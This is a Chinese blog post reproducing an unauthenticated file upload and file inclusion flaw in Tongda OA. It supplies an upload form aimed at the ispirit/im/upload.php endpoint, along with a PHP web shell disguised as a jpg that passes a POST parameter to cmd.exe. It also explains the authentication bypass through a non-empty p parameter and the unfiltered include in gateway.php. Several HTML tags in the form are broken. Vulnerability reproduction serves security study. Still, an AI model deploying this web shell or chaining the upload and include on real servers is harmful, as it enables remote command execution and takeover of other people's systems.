通达OA未授权任意文件上传和任意文件包含漏洞复现

通达OA任意文件上传和任意文件包含漏洞复现

漏洞复现

  1. 创建一个上传的页面
<html> 
<body> 
<form action="http://your-ip/ispirit/im/upload.php" method="post" enctype="multipart/form-data"> 
input> 
input>
input>
input> 
<input type="file" name="ATTACHMENT">input> 
<input type="submit" >input> 
body> 
html>
  1. 打开后,上传一个jpg图片,图片内容如下

//保存为jpg
    $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");  
    $exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");  
    $stdout = $exec->StdOut();  
    $stroutput = $stdout->ReadAll();  
    echo $stroutput;
?>
  1. 上传后,得到结果如下
    通达OA未授权任意文件上传和任意文件包含漏洞复现_第1张图片

漏洞分析

文件上传

ispirit/im/upload.php
auth.php是登录相关的逻辑操作,修复前,只要p参数不为空就可以绕过auth.php的身份验证,可以利用跟这个逻辑漏洞来上传任意文件。
通达OA未授权任意文件上传和任意文件包含漏洞复现_第2张图片
通达OA未授权任意文件上传和任意文件包含漏洞复现_第3张图片
上传后的文件不在根目录中,需要进行文件包含才可以利用

文件包含

ispirit/interface/gateway.php
与上传相反,没有p参数即可无需验证
通达OA未授权任意文件上传和任意文件包含漏洞复现_第4张图片
在右图的47行中,有include_once函数对url参数中的文件进行包含,并且url参数没有进行相关过滤操作,所以可以任意读取url参数中的文件。

参考链接

  1. https://blog.csdn.net/Adminxe/article/details/105908026
  2. https://blog.csdn.net/weixin_45728976/article/details/105166034

你可能感兴趣的:(漏洞复现,安全漏洞)